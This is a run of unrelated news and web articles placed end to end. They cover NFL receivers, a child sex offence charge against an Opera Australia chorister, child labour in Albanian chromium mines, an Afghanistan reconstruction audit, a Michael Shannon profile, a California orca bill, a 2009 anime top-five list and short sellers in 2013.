Arizona Cardinals: Cardinals offensive coordinator Harold Goodwin called wide receiver Michael Floyd "hot" earlier this week. He's not wrong. Floyd has four 100-yard games in his last five, and the Eagles have already allowed nine receivers to go for 100 or more yards this season. -- Josh Weinfuss
St. Louis Rams: The Rams won't return to practice until Tuesday but some of their players are using their weekend off in an important way. A contingent of Rams players, led by receiver Tavon Austin and running back Todd Gurley, paid a visit to receiver Stedman Bailey in a Miami-area hospital on Saturday morning. Bailey was shot twice in the head on Nov. 24 but has been walking, talking, jogging and even tweeting over the past couple of weeks and, if all goes according to plan, is expected to be released from the hospital before Christmas. -- Nick Wagoner
San Francisco 49ers: Wide receiver Anquan Boldin had been averaging more than 10 targets and six catches with Blaine Gabbert at quarterback before last week's meltdown in Cleveland. But with Boldin needing nine catches to become the 13th member of the 1,000-catch club, and with Torrey Smith gimpy and the tight ends beat up, Gabbert may need to rely on the old war horse more than ever before against the Bengals. -- Paul Gutierrez
Seattle Seahawks: Since Week 10, wide receiver Doug Baldwin ranks second in the NFL with 515 receiving yards, and no player has scored more touchdowns (nine) over that span. Baldwin has gotten open consistently and has dropped just one ball all season. Look for him to have another big game against the Browns. -- Sheil KapadiaA longstanding member of the nation's principal opera company, Opera Australia, has been charged with historic child sex offences, some of which are alleged to have been committed at the Sydney Opera House.
David Edward Lewis, 58, is charged with four counts of aggravated indecent assault of a victim under the age of 16 and two counts of sexual intercourse with a person 14 or over and under 16.
David Lewis has been charged with historic child sex offences, some of which are alleged to have been committed at the Sydney Opera House. Credit:Facebook
It was Mr Lewis's starring role as Princess Turandot's father, the Emperor, in the opera company's spectacular production of Puccini's Turandot on Sydney Harbour in March last year, which prompted the alleged victim to go to police.
In the mid-1990s the then 14-year-old girl was in the children's chorus of an Opera Australia production when it is alleged Mr Lewis, a chorister in his mid-30s, commenced to sexually assault her.Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Everton have paid tribute to the families of the victims of the Hillsborough disaster on this weekend's programme.
The Toffees return to Premier League action on Saturday as they welcome Bournemouth to Goodison Park.
Liverpool's Merseyside rivals have saluted the families who fought for justice following the jury's verdict in the Hillsborough inquest.
The jury reached a verdict on Tuesday morning that the 96 people who died in the 1989 tragedy were unlawfully killed.
Everton have stood by their Merseyside rivals' side during the fight for justice and unveiled a plaque at Goodison Park in February last year.
READ MORE: Reaction to Hillsborough verdict
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The programme for Saturday's match carries a message, paying tribute to the families, alongside the famous image of a young Liverpool fan holding the hand of an Everton fan, with the numbers nine and six on their backs.
It reads: "Everton Football Club salutes the Hillsborough families and their total vindication as Fighters for Justice.
"Theirs is the greatest history in the victory of football. RIP, the 96."
The cover also has a quote from Bill Kenwright from the Anfield memorial service in 2013: "They took on the wrong city - and they took on the wrong Mums."One job opportunity is found outside of the city’s chromium mines in the piles of rock that have been dug out when new tunnels and shafts have been excavated.
For many in Bulqize — a grey and dusty town about a four hour drive northeast of Albania’s capital Tirana — it’s all about survival. There are not that many jobs available and you take whatever work you can get.
"My doctor says I shouldn’t work, but what choice do I have?" she asks.
Violeta Koci is 23, and her wheelbarrow just broke. For the rest of the day she will have to carry the bags of rock and chromite on her back. She is six months pregnant.
Read more
This article originally appeared on VICE.
Violeta Koci is 23, and her wheelbarrow just broke. For the rest of the day she will have to carry the bags of rock and chromite on her back. She is six months pregnant.
"My doctor says I shouldn’t work, but what choice do I have?" she asks.
For many in Bulqize — a grey and dusty town about a four hour drive northeast of Albania’s capital Tirana — it’s all about survival. There are not that many jobs available and you take whatever work you can get.
One job opportunity is found outside of the city’s chromium mines in the piles of rock that have been dug out when new tunnels and shafts have been excavated.
Meet the woman taking on Canadian mining companies. Read more here.
Sifting through the rubble for pickings of chromite, Koci and day laborers like her can earn the equivalent $3 or $4 a day — on a good day, that is.
”We get about 20 Lek [40 cents] for every pound of pure chromite we collect,” says Shpendi Lloshi, 8, who is busy rummaging through the rubble looking for remains of the black gleaming mineral.
Violeta Koci is 23-years-old and six months pregnant.
Once a booming mining town, Bulqize sits on one of the largest chromium reserves in the world. Since they first opened in the late 1940s, these mines have supplied roughly 18 million tons of chromium, an important metal in the production of stainless steel.
This was the backbone of Albania’s economy during the country’s half-century of communist rule.
Today, business is not what it used to be, but private enterprises are still extracting the precious metal, digging deeper into the ground and opening up new galleries.
Guatemala’s anti-mining La Puya protesters are under siege. Read more here.
Albchrome, owned by Albanian oligarch Samir Mane, is a major employer in the town.
Alongside the large enterprises, there is another mining industry: an informal one, squeezing profits from some of the old abandoned shafts and the slag heaps dug out from the mines.
This is where people like Koci and Lloshi work.
Shpendi Lloshi,8, and his father Guri, 37.
It’s Saturday, and Lloshi has been here since early morning, scuttling up and down the steep piles of sharp rocks, turning over stone after stone.
All the pickings of chromite or rocks with mineral residue he finds go into his white plastic bucket.
Although it’s late in the afternoon, Lloshi does not look tired or worn out. His father Guri, 37, is a professional miner, working underground extracting the ore, but on his days off he usually works together with Lloshi.
"I’m not worried about my son," he says, and gently ruffles the hair on Lloshi’s head.
The Nezha family walking to the mine.
Another boy, who doesn’t want to state his name, says he has been working here since he was nine years old. Now he’s 16. He looks far worse for wear than Lloshi — scrawny, with dark circles below his eyes and an exhausted gaze.
”I stayed in school for the first couple of years, but then I started working here full time every day to make money,” he says.
On this particular day, there are about 50 people working in the heaps of stone outside the mine — almost all of them are children, many just as young as Lloshi.
The exploitation of unaccompanied miners. Read more here.
One of them, a somewhat older boy wearing a dusty red t-shirt and a cheerful grin, is missing the thumb on his right hand. Accidents are common. Two years ago, a young boy died when there was a small landslide and the rocks came tumbling down on him.
The people these kids work for are locally referred to as pirates.
They are local businessmen who have been awarded concessions for extracting and exporting chromium. They buy the minerals off the kids for a pittance and then ship it off, mostly to China.
These mining tycoons take no responsibility for their workers and are often involved in other illegal business activities. They also fight each other over control of the chromium business.
Just a month before I visited Bulqize, one of the city’s mining pirates was murdered.
Gjin Nica, 35, was driving his Yamaha motorcycle on the outskirts of Tirana when he was ambushed and sprayed with machine gun fire. Police suspect rivalry over the chromium business in Bulqize to be the motive behind the killing.
Nica had been suspected of complicity in the recent murders of two rival chromium businessmen from Bulqize: one in January and another one in September last year. Nica had recently been detained on charges of forgery, but was set free two weeks before he was assassinated.
The second home I visited. This woman talked about how there’s basically no life for women in Bulqize. If they can’t work collecting chrome, there’s nothing for them to do except being a housewife. "Every day my husband goes to work and I’m not sure if he’s going to come back in the evening" she said.
Bulqize’s shady mining business illustrates Albania’s weak rule of law. It’s rare enough that labor rights are respected and upheld for public employees in Tirana, let alone for children working for warring gangsters in godforsaken towns in the middle of nowhere.
Corruption is what makes this all possible.
The officials who award the mining pirates concessions for extracting chromium will not go without reward. In Transparency International’s corruption-index Albania dropped to 116th place last year, down from 95th place in 2011.
This explains why this murky part of the economy can chug along undisturbed, year after year.
Poverty provides the businesses in this informal economy with a never-dwindling workforce. At least one eighth of the population of Albania lives on less than $2 a day, and despite the fact that the town rests on such abundant riches, the situation is no less dire in Bulqize.
Nexhmedin Nezha (left), 42, suffering from PTSD since an accident in the mine. Pictured with his wife.
In a concrete housing block just below the slag heaps lives Nexhmedin Nezha, 42, with his wife, three children, and another family who shares the space with them.
Entering the dark hall feels like stepping into a cellar. Moisture dripping, the air heavy and humid — the ragged sofas have a damp feel and a moldy smell. Nezha’s welcome is kind and warm, but, arms convulsing, he is unable to perform a handshake.
His accident happened 20 years ago. He had just started his shift when the mine caved in. He was trapped for eight hours, not knowing if he would survive.
Finally, he was saved, but since then he has been suffering from anxiety-related symptoms that could indicate post-traumatic stress disorder and has not been able to go back to work.
Nezha worked for one of the larger mining operators — not the pirates — and therefore at least has a pension to live off of. But it’s not much. His medicines, which keep him from having hysterical fits, cost $23 each month. His monthly pension about $130.
For the family to be able to survive, their two oldest children have had to take up work collecting chromite alongside the other kids behind their house. Just like Shpendi Lloshi, neither of them is a yet a teenager.
Nezha's daughter, the youngest of their three kids. She does not work (yet).
Many families are in similar situations.
According to the Confederation of Trade Unions of Albania, 88 miners have died in their line of work only in the last five years. Many more have been severely injured or crippled.
No one really knows how many deaths and injuries occur in the informal mining industry. This hasn't stopped the kids of Nezha and many others from signing up for work.Chelsea's Juan Mata, Arsenal’s Santi Cazorla, as well as Swansea star Michu have all teamed up to buy shares in ailing Spanish club Real Oviedo.
The Segunda B outfit have begun selling shares in an attempt to raise the €2 million they require to keep them afloat after hitting financial hardship. Fans can buy a single share for around €10 before the November 17 closing date.
Cazorla and Mata both cut their teeth with the Spanish club before eventually moving on to Arsenal and Chelsea respectively, while Michu found his way to Swansea having played more than 100 games for the club.
All three Spaniards have established themselves as key figures at their clubs, with Cazaorla proving an instant hit with the Gunners, while Mata was recently announced as the Premier League player for October thanks to his fine performances for Chelsea.
Cazorla featured in Arsenal's 2-2 draw with Schalke last night, while Mata will line up for Chelsea when they take on Shakhtar Donetsk at Stamford Bridge tonight.
Michu meanwhile is the 4th highest scorer in the division having scored six times for his new club. The Swansea attacker confirmed today that all three players had bought a shares in Ovideo, and said he was hopeful that the target could be reach and that the club could be saved.
“Myself, Mata and Cazorla have all bought shares, but it would be wrong of me to say how much,” he told Swansecity.net
“We just wanted to try and help save the club we all played for.
'The economy in Spain is very bad and the club needs around €2m to survive. A lot of people have bought shares and hopefully it will be enough by the closing date of November 17. It’s my local club, a club I love, so I hope it will be enough.”
Michu also said he felt there was an affinity between Oviedo and Swansea after the Welsh club was bailed out by supporters 10 years ago.
“It’s my local club, a club I love, so I hope it will be enough,” he commented.
“Swansea fans should know how much it means to me and the Oviedo supporters.
“I remember reading up on the history of Swansea when I first arrived here; I remember reading how the Swansea supporters bought shares in this club when it was in trouble 10 years ago - and again many years before that.
“And look at the club now; in the Premier League and winning at places like Anfield. Hopefully this SOS can have a similar reaction.’’
It has also been reported that Real Madrid legend Raul has purchased shares in the Asturias side, although that has yet to be confirmed.Looking for news you can trust?
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Things are going from bad to worse in Afghanistan, according to a new report filed by the US government’s top watchdog for Afghan reconstruction spending.
“In this reporting period, Afghanistan proved even more dangerous than it was a year ago,” writes John F. Sopko, the special inspector general for Afghanistan reconstruction (SIGAR), in a quarterly report released Friday morning. Sopko says recent “vicious and repeated attacks” in Kabul have shaken the confidence in the national government, and that American and British forces have had to step in several times to back up Afghan security and police forces, even though the local forces were given that primary responsibility a year ago.
“The lack of security has made it almost impossible for many U.S. and even some Afghan officials to get out and manage and inspect US-funded reconstruction projects,” he says. The inability to adequately inspect and manage reconstruction efforts has led to extreme waste, including one case where the Afghan government found that millions of dollars had disappeared as Afghanistan paid for “nonexistent ‘ghost’ schools, ‘ghost’ teachers, and ‘ghost’ students.”
These details and others are part of the congressionally mandated quarterly report, which reviews spending in Afghanistan from October 1, 2015, through December 31, 2015. (See the full report below.) Sopko and his team are tasked with accounting for the hundreds of billions of dollars in reconstruction projects organized by the United States since the 2001 invasion. He says their oversight has saved “over $2 billion” in taxpayer funds that otherwise would have been lost to fraud or inefficiency.
In this reporting period alone, Sopko says his office has issued 11 audits, inspections, and other reports. It secured a settlement agreement with two contractors accused in a bid-rigging scheme valued at $1.45 million, saved more than $100,000 in spending, and initiated fines, forfeitures, and restitution amounting to $110,000. These might be seen as small victories in a world where billions of dollars have been spent. SIGAR also points to its work that led to two US Army sergeants separately pleading guilty to conspiracy to receive and accept illegal bribes (one was sentenced to one year in jail, the other to two years). In another case, a US Army captain pled guilty to solicitation and receiving $50,000 for helping an Afghan trucking company earn contracts.
SIGAR also closed 14 investigations, most due to a lack of investigative merit or unfounded allegations. But it launched 17 new investigations for issues including procurement and contract fraud, corruption, theft, and money laundering, bringing the total number of ongoing investigations to 309, according to the report.
The report comes just days after the Washington Post reported that top US military commanders “are now quietly talking about an American commitment that could keep thousands of troops in the country for decades.” Citing current and former Pentagon officials, the Post paints a picture that reflects much of what SIGAR has been reporting for some time: The civic and physical infrastructure of Afghanistan is not close to being self-sufficient. “There is a broad recognition in the Pentagon that building an effective Afghan army and police force will take a generation’s commitment,” the Post reported, “including billions of dollars a year in outside funding and constant support from thousands of foreign advisers on the ground.”
Sopko noted several major audits that were released to the public during the last few months of 2015. One discovered and attempted to correct an ongoing problem of USAID medical facilities for which GPS location data was inaccurate, which caused problems with the inspections of some of those buildings. Another recent case involved 11 audits of a now-closed Pentagon business-development unit that spent millions of dollars on private living and security services. That same group, known as the Pentagon’s Task Force for Business and Stability Operations, airlifted Italian goats into Afghanistan as part of a failed $6 million project to boost the country’s cashmere industry. There was also the allegation of the $43 million compressed natural gas filling station that should have cost no more than $500,000. (the actual figured involved are likely lower.)
Congress also charged SIGAR with the task of assisting the Pentagon inspector general’s review of allegations of child sex abuse by Afghan security forces. That investigation was spurred by allegations, brought to light in September by the New York Times, that US soldiers were told to “look the other way” as their Afghan counterparts assaulted children brought to joint bases.
Neil Gordon, an investigator with the Project on Government Oversight who has followed the work of SIGAR for some time, hadn’t yet read SIGAR’s new report late Thursday, but he said the deteriorating security situation almost ensured that things over there would continue to deteriorate.
“SIGAR has been warning for several years that the decreasing U.S. troop presence would worsen the security situation and undercut oversight and management of reconstruction projects,” Gordon says. “So I would expect that waste and corruption in Afghanistan are getting steadily worse.”UH gives CNN 800-seat debate |
teachers that his mother had died—she’s still alive. He got straight F’s one semester and dropped out. (He eventually got his GED.) Rather than engaging with the therapist his father asked him to see, Shannon trashed the man’s office. When he was fired from one of his first professional gigs for his lack of training, he told the director to fuck off and stormed out. “Mike reminds me of Holden Caulfield,” says Guy Van Swearingen, who was coming up through the Chicago theater scene at the same time as Shannon. “He finds it difficult to suffer the fools of the modern world.”
Shannon moved to Chicago and worked odd jobs—pet-store clerk, subway bongo busker, bagel-shop schmearer—but those didn’t always provide enough to survive: For two years, he slept on Van Swearingen’s floor. In 1993, the two friends and occasional roommates cofounded A Red Orchid Theatre, where Shannon buffed his rougher edges into a potent, bewitching stage presence.
His first film was Groundhog Day (1993), in which Bill Murray gives him two tickets to WrestleMania. Shannon landed movie gigs at a steady clip through his first manager, Lee Daniels, who went on to direct Precious and The Butler and to cocreate the television series Empire. But the actor’s biggest early successes were onstage, in two plays by fellow Chicagoan and future Pulitzer winner Tracy Letts: Killer Joe (1993), which was staged in Chicago, London, and New York; and Bug (1996), which premiered in London before moving to the U. S. In a review of the UK staging of a critic for The Guardian wrote, “The acting is sensational in that full-throated, loose-limbed, dangerous kind of way that only Americans seem able to pull off.” For the first time, Shannon gained international notice.
Suit ($3,400)and shirt ($490) by DIOR HOMME; diorhomme.com. Shoes ($810) by SANTONI; santonishoes.com. Socks ($28) by BRESCIANI; neimanmarcus.com. Marc Hom
Since the beginning of his career, theater has played a central role, the space where Shannon can best scratch his psychic itches. Acting is a sloppy, unpredictable process that requires consideration and refinement. Moviemaking, however, is a creative autocracy helmed by the director and enforced by the cinematographer and editor. The stage allows for tweaking—if you’re irked by how you said a line one night, you can try something else out the next. Then again, plays burn bright and disappear when the show closes; film is forever.
Of course, Shannon has appeared in a few movie duds along the way—as a drug-dealing Ku Klux Klansman in Bad Boys II (2003); as a mobster on the hunt in the Outback for a CGI kangaroo who’s absconded with a large wad of cash in Kangaroo Jack (2003); as a white-supremacist inmate who pours lighter fluid on a milquetoast Will Arnett and snarls, “You’re not part coon, are ya? I’d have a lot more fun doin’ this if you were part coon” in Let's Go to Prison (2006). But he didn’t always take a part for the paycheck; more often than not, it was because he had a hard time saying no. “I’m a real sucker for other people’s passion,” he says. “Directors say, ‘This is my baby. If you do one thing with me, do this one.’ I always think, I said no to this and I said no to that, but this one seems worthwhile”
Often, it is: In 2002, he got a call from a first-time filmmaker from Little Rock named Jeff Nichols, who’d written the lead of his debut film, Shotgun Stories, with the actor in mind. Shannon was so moved by the script that he agreed to do it for as close to free as the Screen Actors Guild would allow. “If he responds to something in a story,” Nichols says, “he doesn’t care if you’re Martin Scorsese or some kid from Arkansas. He’ll work with you.” When Nichols needed money to shoot additional footage, Shannon wrote him a game-changing check. The two have gone on to work together on all five of Nichols’s films, most recently Loving (2016).
In 2006, Shannon entered another kind of partnership. He met Arrington while she was in a Chicago production of King Lear. They fell in love, moved to New York, and started a family a couple years later.
Guests start trickling in. On the wall to the left as they walk through the front door is a giant bright-red heart. On one side of the space is Sylvie’s “bedroom,” a corner of the room that’s been sectioned off with curtains; on the other is Marion’s. A nearby bathroom has a litter box in the shower and a caricature of Trump as the main villain from the Harry Potter series with a tweet by J. K. Rowling about the president written above it: “How horrible. Voldemort was nowhere near as bad.” The party is further in. It’s Tracy Letts’s birthday, and cake will later be served in his honor. For now, Letts is chatting with Paul Sparks, who acted alongside Shannon in all five seasons of Boardwalk. Adults sip the house specialty—Arrington’s spicy margarita—and graze the potluck spread on the dining-room table while a gaggle of children runs from one room to the next. Shannon leans down to Sylvie, who’s playing a board game with her friends, and whispers in her ear. As she giggles, a smile stretches across his face; it’s the most content and unguarded I’ll see him this evening.
.
When Shannon became a father—or, as he describes it, “when it was thrust upon me”—he felt thoroughly unprepared. Between his untethered youth and his vagabond adulthood, “I didn’t think parenting was in my skill set,” he says. Before meeting Arrington, he never thought he’d have children at all. “Because of the course our civilization is on, I’d been afraid to bring a human life into it. Some people say, ‘That’s a cop-out. Every generation feels that way.’ For me, it was genuine.”
Shirt ($395) by ERMENEGILDO ZEGNA; zegna.com. Trousers (part of suit, $1,995) and tie ($175) by PAUL STUART; paulstuart.com. Suspenders ($190) by TURNBULL & ASSER; turnbullandasser.com. Marc Hom
A few seasons into filming Boardwalk Empire, Shannon faced a personal crisis: Sylvie required emergency surgery. She was okay, though her recovery was long, and Shannon didn’t want to leave her side. But he was contractually obligated to film the show, on which he played a morally corrupt federal-agent-turned-bootlegger. He’d signed on for the series partly because it was shot in and around New York, near his family; instead, it was preventing him from being with them. Besides, he says, “I wasn’t a huge fan of that period of the show. It had already gotten perfunctory.” In that moment, “I never cared less about work in my life,” Shannon says. “I was like, ‘What are my lines? Can I go now?’ ” He clarifies that he didn’t let his ambivalence get in the way of his performance. “I know how to fake it like any good hooker.”
The experience reassured Shannon that he possessed the tools for parenting. But he learned that being a family man comes at a cost: Doing his job now, he says, is “more angst-ridden, honestly. If I didn’t have a family, I wouldn’t have the gnawing sensation when I’m at work that I’m missing something.”
It’s no surprise that protecting one’s family is a core theme of his favorite film he’s done, Nichols’s Take Shelter. Shannon plays a man who foresees the apocalypse. Unsure if he’s prescient or insane, he plows forward with plans to build a bomb shelter in his backyard to safeguard his young daughter and increasingly concerned wife (Chastain). “Jeff was experiencing a lot of the same things as me at that time,” Shannon says. Both he and the director have young children and a penchant for doomsaying. Nichols says the story germinated from “a free-floating anxiety Mike and I both felt: What kind of husband and father am I going to be? Am I able to hold the weight the world is going to place on me?”
Before last year’s presidential election, the world was enough of a minefield to make a man want to burrow underground with his family to protect them. “Whoever the president is—Obama or Clinton or fucking Abraham Lincoln—people get frustrated,” Shannon says. “If you think kicking out Trump will make anything different, you’re off your rocker.” But he does believe our president’s ascendancy blew the lid off a pot of national discontent that’s been stewing for decades. To prepare for next week, when he starts filming Farenheit 451, Shannon is reading the book. In it, he finds eerie parallels to today: state-sponsored attacks on facts, a citizenry that abhors intellect and is consumed by televised half-truths. “Bradbury saw all this shit coming,” he says. “It was gestating back then. It was inevitable.”
Jacket ($2,980) and trousers ($820) by PRADA; prada.com. Shirt ($220) by DUNHILL; dunhill.com. Tie ($195) by ERMENEGILDO ZEGNA; zegna.com. Loafers ($670) by FRATELLI ROSSETTI; fratellirossetti.com. Marc Hom
Over the past several months, Shannon has reshuffled his priorities. He’s not exactly stockpiling dry goods and mapping out escape routes, but he feels the urgent need to tell stories he thinks might shake viewers’ consciousness, even if only a few are so moved. “I have to think there’s a chance that five people will watch something I’m in and make a radical change in their lives,” he says.
Though he doesn’t require every film or play he does to tie in directly with politics and social justice, it just so happens to have (nearly) worked out that way for the foreseeable future. Del Toro wrote the screenplay for The Shape of Water with Shannon in mind for the part of Strickland, a yes-man for the feds. “To me, he represents America,” Shannon says of the character, whose rotting body is concealed under impeccably tailored suits. “It’s a deeply American story.” Of his Current War character, George Westinghouse, Shannon says, “Here was a man who was filthy rich, but who never surrendered his compassion. Not all rich people have to be assholes.”
New York’s official Fourth of July fireworks show is scheduled to begin shortly after sundown. At 8:30, most of the guests make their way to the roof for what we’re promised will be an epic view. Shannon remains planted on the couch, debating the ethics of consuming meat. (“Cows are dumb. They’re meant to be eaten.”) ESG, an early-’80s post-punk band from the South Bronx, jitters on the stereo. Empty bottles and used paper plates dot the countertops. Board games are splayed across the floor. A friend asks if Shannon would like to head upstairs. “I don’t give a shit about fireworks,” he replies, then kicks back the remains of his rye, served neat. Through the arched windows, the only light show he can see comes from the pulsing of navigation lights on the boats gliding through the harbor, faint declarations of warning.
This article appears in the F/W '17 Big Black Book from Esquire. Buy It!A California lawmaker has proposed a bill that would ban orca performances, breeding and artificial insemination in the state. (Blackfishmovie.com)
The Oscar-shortlisted documentary “Blackfish” has already created a public relations nightmare for SeaWorld, and now it looks like the theme park’s worst fears could be coming true. The film, which alleges that killer whales are gravely mistreated by the aquatic entertainment theme parks, has inspired a California lawmaker to introduce legislation that would ban the captivity of orcas. Assemblymember Richard Bloom will unveil the bill at a Santa Monica pier Friday, scheduled to appear alongside "Blackfish" director Gabriela Cowperthwaite, former orca trainers who participated in the film, and Naomi Rose, a marine mammal scientist at the Animal Welfare Institute who helped write the legislation.
The bill would ban orca performances, breeding and artificial insemination in the state. Orcas would only be allowed kept in captivity for the purposes of rehabilitation and release. It would also ban the import and export of killer whales across state lines, meaning the 10 killer whales currently in captivity California would have to stay there, but in sea pens not open to public, unless they can be returned to the wild.
According Rose, Bloom had been so moved by the film he reached out to Cowperthwaite directly, who in turn brought on AWI, as they had been working together on various projects related to the film. She says legislators from Texas and Florida, the two other states where orcas are held captive for entertainment purposes, had expressed interest in passing similar bills. A New York lawmaker has also proposed legislation to ban future orca captivity, and South Carolina also has a law on the books from 1992 that prohibits the captivity of dolphins and porpoises.
A fellow California assemblymember, Lorena Gonzalez, already expressed support for the bill on her Facebook page and Rose is optimistic about its passage. PETA has signaled its support in a statement from Ingrid Newkirk, the animal welfare group's president, who says the bill "has the potential to end the deep injustice of exhibitions of captive marine life."
“Richard Bloom is a very experienced politician,” Rose says. “He only moved forward with this with some support that would make it worth pursuing."
SeaWorld issued an email response to U.S. News from spokesperson Becca Bides:
While we cannot comment on Assemblyman Bloom’s proposed legislation until we see it, the individuals he has chosen to associate with for today’s press conference are well known extreme animal rights activists, many of whom regularly campaign against SeaWorld and other accredited marine mammal parks and institutions. Included in the group are some of the same activists that partnered with PETA in bringing the meritless claim that animals in human care should be considered slaves under the 13th amendment of the U.S. Constitution – a clear publicity stunt. This legislation appears to reflect the same sort of out-of-the-mainstream thinking. SeaWorld, one of the world’s most respected zoological institutions, already operates under multiple federal, state and local animal welfare laws.
Previously, the theme park has embarked on an aggressive campaign to counter the film’s claims, taking out newspaper ads, blasting “Blackfish” by name, and preemptively sending its objections to it to movie reviewers.
“SeaWorld is going to react very badly to this, like we are trying to shut it down,” Rose says. “But SeaWorld is a lot more than Shamu. If they want to take a really negative stand on this and they lose, they are not taking account of the zeitgeist [on this issue].”
Since “Blackfish” was released, premiering at Sundance in January of 2013 and later broadcast on CNN, a number of grassroots efforts have emerged to address its accusations of orca maltreatment, including petition drives, celebrity boycotts and even a protest led by a 12-year-old girl of the SeaWorld float at the Macy's Thanksgiving Day’s Parade.
“This is where you want to end up if you do what I do. You want to change policy; you want to affect laws,” says Rose, who has worked on marine mammal issues for 21 years. "I give a lot of credit to ‘Blackfish’ for all of this.”Polk Audio's Xbox One compatible headset "4 Shot" hits retail shelves starting March 6, the company announced today.
The upcoming headset is the result of a collaboration between Polk Audio, Halo developer 343 Industries and Forza Motorsport's Turn 10 Studios. Polk's 4 Shot includes a retractable near-field microphone, a spring steel headband, pivoting ear cups and will connect directly to wireless Xbox One controllers.
"Since unveiling the 4 Shot at last year's E3 Expo, the excitement has grown in response to its anticipated launch," said vice president of product line development Mark Suskind in a prepared statement. "We worked diligently with Microsoft to create a headset that combines complex audio found in the gaming world with rich, exhilarating sound typical of Polk's engineering. We know there's a substantial demand for Xbox One headsets, and we're proud to be the first company with retail availability of a headset specifically licensed for the console."
The 4 Shot launches at select GameStop locations and on the official Polk Audio website on March 6 for $159.95. The headset will also be made available at Best Buy Canada near the beginning of March.
Microsoft's official Xbox One headset is similarly slated for an early March release, while the upcoming Turtle Beach-designed Xbox One compatible headset will see a March 7 launch.I know everyone is making these kind of lists and that I’ve already stated my top anime of 2009 on the podcast. But I figured this is a good way to look back at the year and maybe help readers catch a few shows they missed before getting swamped by the upcoming Winter season. I limited the list to five because I don’t think I have seen enough shows to warrant a top ten list. Even if I watched twenty shows, it’s probably somewhere around that, picking ten is still half the shows I happened to see.
I only have one rule for this list. The anime must have finished airing or being released in Japan or United States in 2009. If I have already seen the show in fansubs it becomes ineligible for the list the year it gets an R1 release.
The reason for this is because there are certain films that I have refused to see until I can get them on blu-ray. So I don’t want to exclude them from future lists. At the same time I really want this to be a list of the year the shows were originally aired in Japan. So I’m going to try the middle ground.
On to the list:
5. Clannad After Story
I wasn’t completely in love with the original Clannad. It was a nice little series but, like all the key adaptations, it had some serious problems. There are just some elements that do not translate from visual novel to anime well. Clannad, and Kannon before it, get repetitive and predicable, not to mention melodramatic.
Clannad After Story was able to shed most of the limitations of an adapted light novel. The concept of a high school love story being carried on after graduation was unique and presented in a way that felt genuine. Things aren’t all roses and fireworks after high school. The real world has to be tackled. Bills have to be paid. Clannad After Story, despite the melancholy and strange plot devices, is a well executed love story about two people who just wanted to live a normal life. It also will destroy your soul and reconstruct it in its own image. Just saying.
4. Casshern Sins
I have never seen a Casshern property before watching this latest iteration of the ancient franchise. The quality of the animation alone should earn it a place on this list. But on top of the ascetic value the show featured an incredible sound track and a solid story about the fear of death and what it means to be mortal. The dark atmosphere of the series was balanced with characters that were able to absolutely melt your heart without being obnoxious. The action was good, if a bit repetitive, but the real value of the show comes from the well presented themes. What does it mean to be mortal? What does it mean to be immortal? What is the power of hope?
3. Canaan
Canaan is one of the best action shows that has come out in a long time. It avoids being a stoic story of bitter revenge by giving the seemingly heartless Canaan a unbelievably cheerful foil. In fact all of the dark characters have foils which gives the show a tonal balance between light and serious. The animation is spectacularly well done and the action is fast pasted and fluid.
The most illustrative scene is when the President of the United States proclaims “LOVE AND PEACE” to a gathering of diplomats before being subjected to a deadly virus. Yes, it goes back and forth like that throughout the entire 12 episode run.
2. Ride Back
Ride Back finally blends normal animation with CG mechs that enhances, not distracts, from the overall quality of a show. From the first scene, which features the heroine doing ballet, the audience is given some of the most beautiful art and animation I have ever seen in a television show. The story doesn’t disappoint either, bringing into question the nature of advancing military technology in civilian hands, the question of unlocking ones talent, and a frightening look into a powerful government based on fear of terrorism make this one hell of a loaded 12 episode near-masterpiece. The only factor holding the show back from gaining the number 1 stop is an abrupt ending that was obviously rushed due to time constraints. One more episode and this show could have been flawless.
1. Toradora!
Nothing beats a good love story. Except a good love triangle and the only thing that beats that is a love square. Toradora! is the show that I watched the second it came out and immediately demanded more. The characters were deep, including the background characters, lead by the growing friendship come relationship of Taiga and Ruiji, the two social rejects of the school who help each other to grow together to become part of the class.
The best aspect of Toradora! is that the audience is unsure which of the three female characters to root for because each has their advantages and failings. You want to love them all. The dynamic love story, the excellent sound track, and beautiful art rank this show above all others this year because it was able to balance humor and drama, elation and disappointment, love and hate with a masterful command of character.
Unfortunately I wasn’t able to watch everything that came out this year. Shows that I’ve seen rated very highly like Bakemonogatari or Eden of the East could have made this list. But at this point I don’t know. If only I could devote all my time to anime.
It is interesting to note that I mainly focus on shows that have a balanced tone. I didn’t realize it at the time but each of these shows, with the exception of Casshern Sins which is 80% “I wanna cut myself” depressing, balances serious themes with periods of light hearted fun. Those are qualities to look for in any good story not limit to just Anime.NEW YORK (Reuters) - Three long-time favorites of the short-selling crowd are making those investors eat crow, as Tesla, Barnes & Noble and Green Mountain Coffee are racking up big gains, making an already painful year for contrarian investors even worse.
A street sign for Wall Street hangs in front of the New York Stock Exchange May 8, 2013. REUTERS/Lucas Jackson
All three companies soared on heavy volume on Thursday, with the gains likely amplified by a “short squeeze,” or traders covering bets the stocks would fall to prevent further losses.
These bets have gone badly wrong in 2013, and serve as a costly illustration of what’s been a trend this year - the difficulty of making successful negative bets on companies at a time when the U.S. Federal Reserve is flooding markets with cash that has helped boost the price of riskier assets like stocks.
Electric car maker Tesla Motors (TSLA.O) notched its biggest one-day gain ever, up 24 percent, after it reported its first-ever quarterly profit. Barnes & Noble (BKS.N) shares rose 24 percent on reports of a possible acquisition of some of its assets by Microsoft. And Green Mountain GMCR.O gained more than 27 percent after better-than-expected earnings, its biggest one-day gain in two years.
“People were leaning into names like Tesla or Green Mountain, but now they’re just getting killed,” said Frank Davis, director of sales and trading at brokerage LEK Securities in New York.
For all three of these stocks, more than 20 percent of their shares are currently being sold short. Investors who want to bet against a particular company will borrow stock from brokerages or other lenders like large institutions and then sell the stock, hoping to buy it back at a lower price later, thus profiting from the decline. Only problem is: If the stock rises the short-seller’s losses can build very quickly.
Hedge Fund Research’s short bias index - which measures the performance of hedge funds whose main strategy is to short stocks - is down 7.5 percent through April and has lost 15 percent in the last 12 months.
“Shorts have been a hedge against profits in the face of the enormous liquidity. It has been next to impossible to succeed on the short side,” said Doug Kass, founder of hedge fund Seabreeze Partners Management in Palm Beach, Florida.
The Standard & Poor's 500 Index.SPX has gained 14 percent already this year, largely due to the massive stimulus from the Fed through its bond buying program. The resulting low interest rates make stocks and some other assets, such as property, a better bet than bonds and money market funds. It all means that investors are at a disadvantage from the moment they short a stock - unless the company concerned is about to announce some really bad news.
